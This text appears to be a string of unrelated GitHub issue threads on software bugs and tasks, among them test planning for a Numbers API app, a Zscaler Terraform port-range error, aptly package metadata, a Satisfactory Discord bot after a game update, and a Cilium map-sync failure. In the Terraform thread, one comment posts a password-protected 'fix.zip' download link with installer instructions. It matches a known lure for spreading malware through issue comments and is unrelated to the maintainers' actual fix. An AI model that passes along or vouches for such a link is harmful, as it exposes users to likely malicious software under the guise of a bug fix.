Add tests to all routes

Currently no routes have tests. Let's make sure the app is well-tested.
Estimated points: 6

important thing to test: make sure json key in the query string does what it's supposed to. had an issue where the major version bump from express 2 to express 4 broke this functionality (because of a now deprecated reference to the req.param() function)

👍 (I need the testing practice, so will probably be asking for some guidance on these.)

@stephanedreyfus @stephenisau @WinnieGotYu @kathyn262 Can the four of you split into two groups of two and start tackling this in pairs? It's probably worth breaking this into a couple of issues -- I'd start by listing all the JS files that need tests and then figuring out who will work on testing which files.

Hi everyone! Happy to be working on testing with you. I'm from Rithm-10 and
have been working as a TA at Springboard for a little while now. I'm not
the best at testing yet, so this is going to be a bit slow for me at the
beginning. Nonetheless, looking forward to partnering with someone and
getting some testing done!
Stéphane
On Mon, Jun 22, 2020 at 3:30 PM Matt Lane<EMAIL_ADDRESS>wrote:

@stephanedreyfus https://github.com/stephanedreyfus @stephenisau
https://github.com/stephenisau @WinnieGotYu
https://github.com/WinnieGotYu @kathyn262 https://github.com/kathyn262
Can the four of you split into two groups of two and start tackling this in
pairs? It's probably worth breaking this into a couple of issues -- I'd
start by listing all the JS files that need tests and then figuring out who
will work on testing which files.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/rithmschool/numbers_api/issues/5#issuecomment-647801435,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ALEHA5VP4QT3XE576D2WC23RX7LRDANCNFSM4N2YZ23A
.

In response to some questions I've received on the tests:

in app.js, for now let's add integration tests for the routes on L126 and 151. eventually when that commented out code comes back we'll need more tests, but i think this is fine for now.
re: models/facts, every function in here should be unit tested. we should also do an audit of what's provided by underscore -- it's possible we're writing methods that come out of the box in that library.
re: models/data, let's make sure every function in here is unit tested as well. some other things to consider: (1) there are two giant functions in here, if we can break them up they'll be easier to reason about and easier to test. (2) _.each is cool if you have an object, but if we're working with arrays let's just use .forEach

@stephenisau @stephanedreyfus @kathyn262 @WinnieGotYu -- what's the status of this issue?

I let the group know that I was being too ambitious when I signed up to
help. For multiple reasons I will be just observing unless I suddenly find
myself with a great deal more free time. I apologized to the group but I
should apologize to you as well Matt: sorry! In short, I don't know what
other progress has been made on this issue.
On Mon, Jul 13, 2020 at 1:26 PM Matt Lane<EMAIL_ADDRESS>wrote:

@stephenisau https://github.com/stephenisau @stephanedreyfus
https://github.com/stephanedreyfus @kathyn262
https://github.com/kathyn262 @WinnieGotYu
https://github.com/WinnieGotYu -- what's the status of this issue?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/rithmschool/numbers_api/issues/5#issuecomment-657773415,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ALEHA5UAVSYGREJTN4HOJELR3NUXXANCNFSM4N2YZ23A
.

@mmmaaatttttt Overall, we’re still working on it! It took some time to understand the code, but we’re writing tests now. @WinnieGotYu and I are working on models/facts. @stephenisau is working on models/data.

Hey @mmmaaatttttt! Slowly making progress on the tests, I have been a bit busy with personal life so haven't had much of a chance to consistently work on the tests. @stephanedreyfus mentioned he'd be taking a bit of a backseat on this ticket so i'll do my best to update him once I make some progress.
The 2 big functions in the file, reader_norm  and reader_manual seem to be reading from .txt files and doing some data cleaning using the third function normalize_common. Two questions came up that i'm not quite sure how to answer, hoping to get some clarity on the two!

The two functions read inside directories usingmodels/ as the base directory. Would it make sense to create a test directory with their own data files inside so the functions within the tests have a "single source of truth"? (ie. I create a tests/data directory and point to those files in our tests to read data from.)

The two main functions rely heavily on logging errors to the console if they aren't able to read the data from the .txt files. I was planning on writing a few tests that expect these failures to happen, but don't know how to test outputs from console.logs inside a function. I came across this stackoverflow post regarding testing logs to the console (https://stackoverflow.com/questions/49096093/how-do-i-test-a-jest-console-log) but not sure if that's the right way to go about it. I might be thinking about this wrong but hoping to get a better understanding on how to write tests for this part.

Any clarity on these two points would be much appreciated, thank you!!

Hey @stephenisau -- sorry for the delay. Hopefully some of the discussion from Monday's OH is relevant here. some thoughts:

Depending on how much information you're trying to mock, you could either do something like:

let fsMock = jest.spyOn(fs, "readDirSync")
fsMock.mockImplementation( /* Your implementation here */);

and similarly for readFileSync. But if you're trying to mock a larger text file, I'd probably follow the pattern of having a __mocks__ directory. The jest docs may be helpful here, since i think their example mocks exactly what you're trying to mock: the fs module: https://jestjs.io/docs/en/manual-mocks

Re: mocking console.log, the stackoverflow you found is good, I'd probably follow the pattern described in this answer. Don't forget to restore the mock after the test, or in an afterEach!

closed by #39


One or more input fields tcpPortRanges are not valid after version v3.32.4

Community Note

Please vote on this issue by adding a 👍 reaction to the original issue to help the community and maintainers prioritize this request
Please do not leave "+1" or other comments that do not add relevant new information or questions, they generate extra noise for issue followers and do not help prioritize the request
If you are interested in working on this issue or have submitted a pull request, please leave a comment

Terraform Version
Terraform v1.9.5
on darwin_arm64

provider registry.terraform.io/zscaler/zpa v3.32.4

Affected Resource(s)

zpa_application_segment

Terraform Configuration Files

data "zpa_server_group" "server_group" {
  name = "Server Group"
}

data "zpa_segment_group" "segment_group" {
  name = "Internal Application Group"
}

resource "zpa_application_segment" "apps" {

  name             = "test name"
  description      = "test description"
  enabled          = true
  health_reporting = "ON_ACCESS"
  bypass_type      = "NEVER"
  is_cname_enabled = true
  ip_anchored      = false
  tcp_port_range   = [
          {
            from : "80"
            to : "80"
          },
          {
            from : "443"
            to : "443"
          },
          {
            from : "22"
            to : "22"
          },
          {
            from : "3389"
            to : "3389"
          },
          {
            from : "5432"
            to : "5432"
          }
        ]
  udp_port_range   = []
  icmp_access_type = "PING"
  domain_names     = [
    "test.vaultcore.azure.net",
    "test.vault.azure.net"
  ]
  segment_group_id = data.zpa_segment_group.segment_group.id
  tcp_keep_alive   = 0
  server_groups {
    id = [data.zpa_server_group.server_group.id]
  }
}

Debug Output

╷
│ Error: FAILED: PUT, https://config.zpabeta.net/mgmtconfig/v1/admin/customers/72058693549555712/application/72058693549555975, 400, 400 Bad Request, {
│   "params" : [ "tcpPortRanges" ],
│   "id" : "invalid.resource.argument",
│   "reason" : "One or more input fields tcpPortRanges are not valid."
│ }
│
│   with zpa_application_segment.apps,
│   on main.tf line 9, in resource "zpa_application_segment" "apps":
│    9: resource "zpa_application_segment" "apps" {
│
Panic Output

Expected Behavior
When you run terraform apply on the resources it works as expected.
When you do changes on domain_names and have no changes on tcp_port_range, it will throw the error above.

zpa_application_segment.apps will be updated in-place
~ resource "zpa_application_segment" "apps" {
~ domain_names                  = [
- "test.vault.azure.net",
# (1 unchanged element hidden)
]
id                            = "72058693549555975"
name                          = "test name"
~ tcp_port_range                = [
- {
- from = "80"
- to   = "80"
},
# (4 unchanged elements hidden)
]
# (23 unchanged attributes hidden)
    # (1 unchanged block hidden)
}

Plan: 0 to add, 1 to change, 0 to destroy.
Do you want to perform these actions?
Terraform will perform the actions described above.
Only 'yes' will be accepted to approve.
Enter a value: yes
zpa_application_segment.apps: Modifying... [id=72058693549555975]
zpa_application_segment.apps: Modifications complete after 1s [id=72058693549555975]
Apply complete! Resources: 0 added, 1 changed, 0 destroyed.
Actual Behavior

zpa_application_segment.apps will be updated in-place
~ resource "zpa_application_segment" "apps" {
~ domain_names                  = [
- "test.vault.azure.net",
# (1 unchanged element hidden)
]
id                            = "72058693549555975"
name                          = "test name"
# (24 unchanged attributes hidden)
    # (1 unchanged block hidden)
}

Plan: 0 to add, 1 to change, 0 to destroy.
Do you want to perform these actions?
Terraform will perform the actions described above.
Only 'yes' will be accepted to approve.
Enter a value: yes
zpa_application_segment.apps: Modifying... [id=72058693549555975]
╷
│ Error: FAILED: PUT, https://config.zpabeta.net/mgmtconfig/v1/admin/customers/72058693549555712/application/72058693549555975, 400, 400 Bad Request, {
│   "params" : [ "tcpPortRanges" ],
│   "id" : "invalid.resource.argument",
│   "reason" : "One or more input fields tcpPortRanges are not valid."
│ }
│
│   with zpa_application_segment.apps,
│   on main.tf line 9, in resource "zpa_application_segment" "apps":
│    9: resource "zpa_application_segment" "apps" {
Steps to Reproduce

terraform apply
Run Terraform apply on the provided code.
Do changes on domain_names (add or remove)
terraform apply

Important Factoids

Tested both against prod and beta.
References

#0000

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@HenrikVestli Thanks for bringing this issue to our attention.
We have released a minor version 3.32.5 containing the fix to address such problem. You can now upgrade your provider configuration.
Apologies for the inconvenience.
Zscaler DevRel


Distribute through PyPI

Installation instruction (https://github.com/jose-manuel/npfc#instructions) are quite complicated. It would be nice if it could simply be pip installed with pip install npfc

Hi, sorry for the very long delay. I made the package installable via pip.
However an error is thrown during the deduplication if pytables is installed via pip, but not if it is installed via conda (as it is in my dev env). Both packages have the same version though (3.6.1). I will try with an older version at some point.
I updated the installation instruction accordingly.


bash creates attribute vs. report handlers

Version:
Chef Client, version 11.16.4
Environment:
CentOS 6
Scenario:
I have a resource that does:
bash 'install_libevent' do
  code %(rpm -i #{Chef::Config[:file_cache_path]}/#{packages['libevent']})
  creates '/usr/lib64/libevent-2.0.so.5'
end

to install a previously downloaded RPM package.  This works, but the report handler (I use chef/handler/mail) reports that the resource bash[install_libevent] is updated on every run.  This can also be seen by the report
Chef Client finished, 1/7 resources updated in xxx seconds

at the end of the run.
If I remove the creates and replace it with
  not_if 'test -e /usr/lib64/libevent-2.0.so.5'

I get
Chef Client finished, 0/6 resources updated in xxx seconds

and the report handler doesn't report it as updated anymore.
(The fact that it now reports 6 rather than 7 resources is an interesting side issue, but I just want the report handler to shut for now. ;-) )
(AFAICT, the code isn't actually run, so that part is working correctly.)
Steps to Reproduce:
Take a simple resource such as
bash "true" do
  creates '/etc/passwd'
end

and run it.  It will report as 1 resource updated.  It should report 0 resources updated, if the file already exists.

I think this is fixed by a patch I did to clean up the execute and script resources and I found this converge_by and removed it.  I haven't validated that the problem went away, but that would have certainly caused a problem and the converge_by is gone now.  Please reopen if you can reproduce the bug.


Fix testRenameContainer flakiness

Sometimes there is actually a container with an ID of 0
in CircleCI.

Current coverage is 37.82%

Merging #367 into master will increase coverage by +0.15% as of b972292

@@            master    #367   diff @@
======================================
  Files           71      71
  Stmts         3331    3331
  Branches       794     794
  Methods          0       0
======================================
+ Hit           1255    1260     +5
- Partial        115     117     +2
+ Missed        1961    1954     -7

Review entire Coverage Diff as of b972292

Powered by Codecov. Updated on successful CI builds.


Task field of package written to Packages file is incorrect

We're currently mirroring Ubuntu 14.04 Trusty and Ubuntu 16.04 Xenial at the same time using aptly and ran into an issue where the Task field of the package fonts-guru-extra contains wrong information and we're unable to install a Ubuntu 14.04 Trusty desktop because of a package conflicts when running tasksel ubuntu-desktop.
The installer tries to install the packages ttf-punjabi-fonts=0.5.14ubuntu1 and fonts-guru-extra=2.0-3 at the same time because they both have the Task ubuntu-desktop configured which results in an impossible situation because the package fonts-guru-extra=2.0-3 Breaks ttf-punjabi-fonts (<< 2:1.0).
We believe the error arises because aptly wrongly associates the Task field of the fonts-guru-extra=2.0-3 package in the  Xenial main mirror with the package in the same version in the Trusty universe mirror. We also believe that the order of execution of e.g. mirror update is relevant, because the issue flapping.

http://archive.ubuntu.com/ubuntu/dists/trusty/main/binary-amd64/Packages.gz

Package: ttf-punjabi-fonts
Priority: optional
Section: x11
Installed-Size: 202
Maintainer: Ubuntu Developers<EMAIL_ADDRESS>Original-Maintainer: Debian-IN Team<EMAIL_ADDRESS>Architecture: all
Source: ttf-indic-fonts
Version: 1:0.5.14ubuntu1
Filename: pool/main/t/ttf-indic-fonts/ttf-punjabi-fonts_0.5.14ubuntu1_all.deb
Size: 57546
MD5sum: 75a679c57a1eb5baf86222ce14582b1c
SHA1: 864fbf9bd6a664314df78716e60a0c6c5d791e54
SHA256: b96e59c6b149c7e9c9d081990359ddbef3e223ada49e68d7ea43b7dd88af7ca8
Description: Free TrueType fonts for the Punjabi language
Homepage: http://debian-in.alioth.debian.org/
Description-md5: 734ddc6f1aa432bfba7b2f9c057059f1
Bugs: https://bugs.launchpad.net/ubuntu/+filebug
Origin: Ubuntu
Supported: 5y
Task: ubuntu-desktop, ubuntu-usb, kubuntu-desktop, kubuntu-active, kubuntu-active-desktop, kubuntu-active, edubuntu-desktop, edubuntu-usb, xubuntu-desktop, lubuntu-core, ubuntustudio-desktop, ubuntu-gnome-desktop

http://archive.ubuntu.com/ubuntu/dists/trusty/universe/binary-amd64/Packages.gz

Package: fonts-guru-extra
Priority: optional
Section: universe/fonts
Installed-Size: 172
Maintainer: Ubuntu Developers<EMAIL_ADDRESS>Original-Maintainer: Debian-IN Team<EMAIL_ADDRESS>Architecture: all
Version: 2.0-3
Replaces: ttf-punjabi-fonts
Breaks: ttf-punjabi-fonts (<< 2:1.0)
Filename: pool/universe/f/fonts-guru-extra/fonts-guru-extra_2.0-3_all.deb
Size: 52808
MD5sum: f37ebca071715758aa376a7fca9c5524
SHA1: 29dd26699566964b0e06e36eccaa3a5f43b64c9c
SHA256: e3beef18d8ef9e44eb9b2eeb11b13b2f25c23a8241d0881488ec25156be6867d
Description: Free fonts for Punjabi language
Multi-Arch: foreign
Homepage: http://alioth.debian.org/projects/debian-in
Description-md5: f207b3046defb8b25f5195ad18ecae7c
Bugs: https://bugs.launchpad.net/ubuntu/+filebug
Origin: Ubuntu

http://archive.ubuntu.com/ubuntu/dists/xenial/main/binary-amd64/Packages.gz

Package: fonts-guru-extra
Priority: optional
Section: fonts
Installed-Size: 172
Maintainer: Ubuntu Developers<EMAIL_ADDRESS>Original-Maintainer: Debian-IN Team<EMAIL_ADDRESS>Architecture: all
Version: 2.0-3
Replaces: ttf-punjabi-fonts
Breaks: ttf-punjabi-fonts (<< 2:1.0)
Filename: pool/main/f/fonts-guru-extra/fonts-guru-extra_2.0-3_all.deb
Size: 52808
MD5sum: f37ebca071715758aa376a7fca9c5524
SHA1: 29dd26699566964b0e06e36eccaa3a5f43b64c9c
SHA256: e3beef18d8ef9e44eb9b2eeb11b13b2f25c23a8241d0881488ec25156be6867d
Description: Free fonts for Punjabi language
Multi-Arch: foreign
Homepage: http://alioth.debian.org/projects/debian-in
Description-md5: f207b3046defb8b25f5195ad18ecae7c
Bugs: https://bugs.launchpad.net/ubuntu/+filebug
Origin: Ubuntu
Supported: 5y
Task: ubuntu-desktop, ubuntu-usb, kubuntu-desktop, edubuntu-desktop, edubuntu-usb, xubuntu-core, xubuntu-desktop, mythbuntu-desktop, lubuntu-core, ubuntustudio-desktop-core, ubuntustudio-desktop, ubuntu-gnome-desktop, ubuntukylin-desktop, ubuntu-mate-core, ubuntu-mate-desktop, ubuntu-mate-cloudtop

http://aptly-dev.ad-sy.ch:8080/ubuntu/stable/dists/trusty/main/binary-amd64/Packages

Package: ttf-punjabi-fonts
Priority: optional
Section: x11
Installed-Size: 202
Maintainer: Ubuntu Developers<EMAIL_ADDRESS>Original-Maintainer: Debian-IN Team<EMAIL_ADDRESS>Architecture: all
Source: ttf-indic-fonts
Version: 1:0.5.14ubuntu1
Filename: pool/main/t/ttf-indic-fonts/ttf-punjabi-fonts_0.5.14ubuntu1_all.deb
Size: 57546
MD5sum: 75a679c57a1eb5baf86222ce14582b1c
SHA1: 864fbf9bd6a664314df78716e60a0c6c5d791e54
SHA256: b96e59c6b149c7e9c9d081990359ddbef3e223ada49e68d7ea43b7dd88af7ca8
Description: Free TrueType fonts for the Punjabi language
Origin: Ubuntu
Homepage: http://debian-in.alioth.debian.org/
Supported: 5y
Description-Md5: 734ddc6f1aa432bfba7b2f9c057059f1
Bugs: https://bugs.launchpad.net/ubuntu/+filebug
Task: ubuntu-desktop, ubuntu-usb, kubuntu-desktop, kubuntu-active, kubuntu-active-desktop, kubuntu-active, edubuntu-desktop, edubuntu-usb, xubuntu-desktop, lubuntu-core, ubuntustudio-desktop, ubuntu-gnome-desktop

http://aptly-dev.ad-sy.ch:8080/ubuntu/stable/dists/trusty/universe/binary-amd64/Packages

Package: fonts-guru-extra
Priority: optional
Section: fonts
Installed-Size: 172
Maintainer: Ubuntu Developers<EMAIL_ADDRESS>Original-Maintainer: Debian-IN Team<EMAIL_ADDRESS>Architecture: all
Version: 2.0-3
Replaces: ttf-punjabi-fonts
Breaks: ttf-punjabi-fonts (<< 2:1.0)
Filename: pool/universe/f/fonts-guru-extra/fonts-guru-extra_2.0-3_all.deb
Size: 52808
MD5sum: f37ebca071715758aa376a7fca9c5524
SHA1: 29dd26699566964b0e06e36eccaa3a5f43b64c9c
SHA256: e3beef18d8ef9e44eb9b2eeb11b13b2f25c23a8241d0881488ec25156be6867d
Description: Free fonts for Punjabi language
Origin: Ubuntu
Description-Md5: f207b3046defb8b25f5195ad18ecae7c
Homepage: http://alioth.debian.org/projects/debian-in
Supported: 5y
Bugs: https://bugs.launchpad.net/ubuntu/+filebug
Multi-Arch: foreign
Task: ubuntu-desktop, ubuntu-usb, kubuntu-desktop, edubuntu-desktop, edubuntu-usb, xubuntu-core, xubuntu-desktop, mythbuntu-desktop, lubuntu-core, ubuntustudio-desktop-core, ubuntustudio-desktop, ubuntu-gnome-desktop, ubuntukylin-desktop, ubuntu-mate-core, ubuntu-mate-desktop, ubuntu-mate-cloudtop

I believe this should be addressed with #539

Thinking about it a bit more, it's not... aptly internally de-duplicates packages based on name, version, arch and file hash. So it seems that packages are completely identical, but information in Packages is still different

The only solution I see is to add scope or something like that to mirrors, so that if scope is set, packages from this mirror are not deduplicated with other packages from different scopes. That would make packages from different scopes always non-identical.


Missing library?

Could not GET 'https://maven.jamieswhiteshirt.com/libs-release/com/github/AlphaMode/fakeconfigtoml/master-SNAPSHOT/fakeconfigtoml-master-SNAPSHOT.pom'. Received status code 409 from server: Conflict
Disable Gradle 'offline mode' and sync project

I cant find anywhere the correct library link, i searched everywhere

change
modImplementation("com.github.AlphaMode:fakeconfig:master-SNAPSHOT") { exclude(group: "net.fabricmc.fabric-api") }
modImplementation("com.github.AlphaMode:fakeconfigtoml:master-SNAPSHOT") { exclude(group: "net.fabricmc.fabric-api") }

with
modImplementation("com.github.AlphaMode:fakeconfig:master") { exclude(group: "net.fabricmc.fabric-api") }
modImplementation("com.github.AlphaMode:fakeconfigtoml:master") { exclude(group: "net.fabricmc.fabric-api") }


[FLINK-10932] Initialize flink-kubernetes module

What is the purpose of the change
This PR is part of FLINK-9953(Active Kubernetes integration). Add a new module and pom for flink-kubernetes.
Brief change log

Create a new module named with flink-kubernetes
Add flink-kubernetes module in flink and flink-dist pom

Verifying this change
The kubernetes-client classes is in flink-dist.jar and all its dependencies have been shadded.
Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): (yes)
The public API, i.e., is any changed class annotated with @Public(Evolving): (no)
The serializers: (no)
The runtime per-record code paths (performance sensitive): (no)
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Yarn/Mesos, ZooKeeper: (no)
The S3 file system connector: (no)

Documentation

Does this pull request introduce a new feature? (no)
If yes, how is the feature documented? (not applicable)

Thanks for opening this PR @wangyang0918.
The change looks good it me. +1 to merge it.

Merged. Thanks for your efforts @wangyang0918  and all of your reviews!


Anomaly synchronizer buff

About the PR

Now the anomaly synchronizer is much cheaper to produce.
-20 plasma glass
-4 steel
-2 gold
+5 cables
Why / Balance

A lot of time has passed, but no one uses the synchronizer.  I asked people around a bit why.
the answer is high price, complexity of assembly and efficiency is not much higher than a signal transmitter.
I also suspect that people simply don’t really understand why they should use it, if everything has always worked fine without it.
here I am only reducing the cost of production, but in the future I may rebalance the usefulness of the synchronizer using other methods
Technical details

Media

[x] I have added screenshots/videos to this PR showcasing its changes ingame, or this PR does not require an ingame showcase

Changelog

:cl:

tweak: The resource cost of producing an anomaly synchronizer has been greatly reduced.

I think the energy consumption is fine as is, but the recipe change is good. High energy consumption means you have to be mindful of how much power the apc and the grid can supply, which I think is good gameplay.

To do: add some inner energy battery, from light flickering disconnecting


Figure out how to setup pull request previews

Description
In order to make collaborating easier, it would be nice for us to be able to instantly preview the work of others. For example, Vercel offers pull request previews to achieve this.
As part of this issue, we would like you to set this up for conda-dot-org. You can either use Vercel (free of cost) or find another similar free service.
Keep in mind that this issue depends on: #3
Tasks

[ ] Using Vercel or another service set up these pull request previews
[ ] Demonstrate this works by creating a "dummy" pull request for this issue ("dummy" here means making a small, arbitrary change to the existing website)

I'd like us to use Netlify's open source plan, for which we can apply using this form. We should meet the requirements with no problems.

Both tools seem very similar. I just have a few questions.
Which account will receive Netlify's pro access if we go that route?
Will this also be the same tech we use to deploy the website?

A conda community email account if possible, for the request. Then a Netlify team can be created. And yes, I guess deployment will also happen in the same way.

Some reference discussion I saw a few days ago https://github.com/beeware/beeware.github.io/issues/494

I am hoping we do get accepted for the OS plan, which has the Pro perks:

Our Open Source plan has the same features and limits as our Pro plan, with the addition of free unlimited team members.

That should be enough!

This is complete.


Port Change with Satisfactory 1.0

It looks like Satisfactory no longer uses port 15777 -- it now only uses port 7777.  What change should I make to ensure the bot still talks to my discord server?  The log shows that the bot can't find the server, even though the server is running fine.  Thanks!
Updating... Error: Connection timed out     at Timeout.<anonymous> (/usr/src/app/node_modules/@djwoodz/satisfactory-dedicated-server-query-port-probe/index.js:20:12)     at listOnTimeout (node:internal/timers:573:17)     at process.processTimers (node:internal/timers:514:7)

I tried changing SATISFACTORY_BOT_SERVER_QUERY_PORT to port 7777 in .env, but all that did was break the bot. I'm trying to find where else I could make that edit, but can't find anything else so far.

You just arrived where I was when I posted this.  The file you speak of is in the error message above.  It's a root owned file, so if you can be root where you can access it, you can make the necessary changes.  My issue is that I'm running the Satisfactory Dedicated Server as a docker container (by ich777) through Unraid, which doesn't allow you to (or I haven't found a way to) access this file anywhere but the container's console, which doesn't let you be root.  So until that index.js is updated, I'm out of luck.
I might be able to download the current release, edit index.js, then install it on my server?
I'll keep trying stuff.

Thank you for reporting this. I think changing SATISFACTORY_BOT_SERVER_QUERY_PORT to port 7777 doesn't work because the Satisfactory Dedicated Server works differently now.
It looks like the query port, which this bot relied on to obtain the server status, is no longer available. The format of the log file, which this bot uses to determine the player information, may also have changed. I will investigate further.

I'll just reply here instead of also doing so at the other page so you don't have to jump back and forth. Looking forward to seeing what you think the solution might be! This bot has been a big part of the social life of our server, as being able to see who is on and when is fantastic for jumping on for some spontaneous co-op sessions.  I'm more than willing to test things out if you need guinea pigs.

Thank you @generalrap. I have made some progress with this. It looks like the Satisfactory Dedicated Server's API has changed, but I think I've figured out the changes I need to make to DJWoodZ/satisfactory-dedicated-server-query-port-probe to get it working again. 🙂 The next thing for me to investigate is if the log file format has changed.

I am glad this is being worked on. The Players on server seems to be working fine. The fact that it changed from UDP 15777 to TCP 7777 seems to be why its timing out.

Fantastic! Thank you so much, it's truly appreciated.
What's your recommended method of updating an existing docker container?

@DJWoodZ just wanted to chime in and say thanks for this awesome project and getting it fixed up so fast, the factory must grow 🛠

I recommend:

stopping your existing discord bot container, if it is running (e.g. docker compose down)
checking out the branch (e.g. with git pull and git checkout 33-port-change-with-satisfactory-10)
checking/editing your .env.local (i.e. if it contains SATISFACTORY_BOT_SERVER_QUERY_PORT, rename it to SATISFACTORY_BOT_SERVER_PORT and set the correct port, e.g. 7777)
(optionally) bring it back up in foreground mode so that you can see the logs (e.g. docker compose up --build --force-recreate)
bringing it back up in detached mode (e.g. docker compose up -d --build --force-recreate)

I'm getting an EISDIR error that's gumming things up when I try to start up the container; seems like something is trying to read a directory instead of a file. Any suggestions?
Attaching to server-1
server-1  | Poll interval: 60000 milliseconds
server-1  | Found: /usr/src/app/db/db.json
server-1  | Updating...
server-1  | Logging out
server-1  | node:events:497
server-1  |       throw er; // Unhandled 'error' event
server-1  |       ^
server-1  |
server-1  | Error: EISDIR: illegal operation on a directory, read
server-1  | Emitted 'error' event on Tail instance at:
server-1  |     at ReadStream.<anonymous> (/usr/src/app/node_modules/tail/lib/tail.js:215:26)
server-1  |     at ReadStream.emit (node:events:519:28)
server-1  |     at emitErrorNT (node:internal/streams/destroy:169:8)
server-1  |     at emitErrorCloseNT (node:internal/streams/destroy:128:3)
server-1  |     at process.processTicksAndRejections (node:internal/process/task_queues:82:21) {
server-1  |   errno: -21,
server-1  |   code: 'EISDIR',
server-1  |   syscall: 'read'
server-1  | }
server-1  |
server-1  | Node.js v20.17.0
server-1 exited with code 0

That error suggests there is an issue with the log file path. However,  when you use docker compose, the SATISFACTORY_BOT_LOG_LOCATION value in the .env/.env.local file is ignored. There is some information about how this works in the readme.
If you have you changed the path in the compose.yaml, or if you need to change it, it might be worth refamiliarising yourself with this.

Yes, good catch; I completely forgot I had changed that directory when I originally stood this up, and needed to update the compose.yaml file.
The bot is now connecting halfway. It comes online in Discord and gives a 0/4 player count, but otherwise does not send any messages about server status or player joins/disconnects. This is what the container is currently outputting:
Attaching to server-1
server-1  | Poll interval: 60000 milliseconds
server-1  | Found: /usr/src/app/db/db.json
server-1  | Updating...
server-1  | Log file open 09/17/24 10:05:04
server-1  | Updating...
server-1  | Updating...

I'm sure there's just a small thing I'm missing?

The Updating... message refers to the network polling, but the player counts, joins, etc. are derived from the log, which is tailed in real time.
The log file format does not appear to have changed in v1.0, so I think your issue will be related to the log path or something causing updates to the log not being detected (e.g. permissions).
You can try enabling SATISFACTORY_BOT_LOG_USE_WATCH_FILE in your .env.local, and it'll use an alternative method to detect changes, however, that shouldn't be necessary if you didn't need it before, as nothing related to reading the log file should have changed. I.e. your previous compose.yaml should continue to work, providing your environment hasn't changed.
I recommend double checking the compose.yaml is correct (specifically the volumes section, and remembering that SATISFACTORY_BOT_LOG_LOCATION refers to the path inside the container), then you should perhaps connect to the container in interactive mode to debug it, i.e. to ensure the log is correctly located and updated when you join/leave the server.


Can't set settlement mode to anything but default mixed mode

Setting settlement mode to ModeSettled error out.
Creating sender link:amqp: sender settlement mode "settled" requested, received "mixed" from server
sender, err := session.NewSender(
			amqp.LinkTargetAddress("/queue-name"),amqp.LinkSenderSettle(amqp.ModeSettled),
		)
		```

Hi @aneeshkp which broker are you using.
This means that although you send "Settled", the broker your are using is informing you that the target address you created is "mixed". the library checks for that and errors.

Hi @aneeshkp which broker are you using.
This means that although you send "Settled", the broker your are using is informing you that the target address you created is "mixed". the library checks for that and errors.

As I said above, I believe that the error is due to the peer answering you with a different setting than what you request.

As noted, the error message indicates a mismatch between the client and the broker; this is not a bug.
You can still call Recevice(), we will be removing its deprecated status in a future update.


controller bpf-map-sync-cilium_tunnel_map is failing: 1 map sync errors on Cilium install

Bug report
We're testing cilium on one of our clusters  and running into some interesting failure cases.  We're preferentially using the helm chart as it fits in better with our gitops processes than using a CLI does, however the data provided here is reflected from the CLI tool for troubleshooting purposes.  In our test case we're attempting to characterize the behavior of our software while replacing the AWS cni with cilium.  Once that's complete we attempted to roll back to the AWS cni to test whether it was possible and that's where the problems begin.  We currently cannot roll back to AWS cni without every pod starting to throw errors, I think this is due to something not being cleaned up after removal of cilium.  See this slack thread:
https://cilium.slack.com/archives/C53TG4J4R/p1627071803270600
After further testing we found that the cilium CLI is unable to install cilium on our cluster either.  It cannot install cilium, and it cannot remove cilium effectively making our cluster not have networking.  However, we can install via the helm chart and it seems to work fine but we have no rollback strategy for a production cut over.

Error: Unable to install Cilium: timeout while waiting for status to become successful: context deadline exceeded

The rollback in this case also fail leaving the cluster in an unknown state.  In this case we don't have an effective way to completely remove cilium from our system and put the vpc-cni back in place.  Our only option currently is to keep cilium in place.  It's possible that we could cycle all of the nodes out, however that's a pretty drastic move that I would prefer to avoid.  Per the request above we also took a sysdump of cilium.  The first one was during the installation and the second is after the failed installation and failed uninstallation.
General Information
cilium version
cilium-cli: v0.8.5 compiled with go1.16.5 on linux/amd64
cilium image (default): v1.10.2
cilium image (stable): v1.10.3

Kernel 5.4.129

kubectl version
Client Version: version.Info{Major:"1", Minor:"21", GitVersion:"v1.21.1", GitCommit:"5e58841cce77d4bc13713ad2b91fa0d961e69192", GitTreeState:"clean", BuildDate:"2021-05-13T02:40:46Z", GoVersion:"go1.16.3", Compiler:"gc", Platform:"linux/amd64"}
Server Version: version.Info{Major:"1", Minor:"20+", GitVersion:"v1.20.7-eks-d88609", GitCommit:"d886092805d5cc3a47ed5cf0c43de38ce442dfcb", GitTreeState:"clean", BuildDate:"2021-07-31T00:29:12Z", GoVersion:"go1.15.12", Compiler:"gc", Platform:"linux/amd64"}

EKS 1.20
How to reproduce the issue
Unkown, I can only get this behavior on a single cluster.  More confusing still is that we us an IAC system for all of our clusters so they are functionally identical and we do not see this behavior on the others.
cilium-sysdump-onenode-installing.zip
cilium-sysdump-onenode-postfail.zip

This looks like a duplicate of https://github.com/cilium/cilium/issues/16488.

I have the same issue in EKS cluster:
kubernetes: v1.20.7-eks-135321
kernel: 5.4.141-67.229.amzn2.x86_64
cilium: v1.10.4
I have experienced how the problem appears and disappears without being able to attach the event with a cause that triggers it.
debug log in cilium-agent
level=debug msg="Starting new controller" name=bpf-map-sync-cilium_tunnel_map subsys=controller uuid=777a8ef2-cd6c-41a2-97d7-7fb87e510bb8
level=debug msg="Starting periodic BPF map error resolver" file-path=/sys/fs/bpf/tc/globals/cilium_tunnel_map name=cilium_tunnel_map remaining=25 subsys=bpf
level=debug msg="BPF map error resolver completed" duration="100.511µs" file-path=/sys/fs/bpf/tc/globals/cilium_tunnel_map name=cilium_tunnel_map remaining=1 resolved=24 scanned=24 subsys=bpf
level=debug msg="Controller func execution time: 119.999µs" name=bpf-map-sync-cilium_tunnel_map subsys=controller uuid=777a8ef2-cd6c-41a2-97d7-7fb87e510bb8
level=debug msg="Controller run failed" consecutiveErrors=1 error="1 map sync errors" name=bpf-map-sync-cilium_tunnel_map subsys=controller uuid=777a8ef2-cd6c-41a2-97d7-7fb87e510bb8

If it is a duplicate of #16488 this has been fixed by https://github.com/cilium/cilium/pull/18247


Update Table.luna

@sylwiabr  But aside from the change that is good and needed, the whole snippet still doesn't work for me:

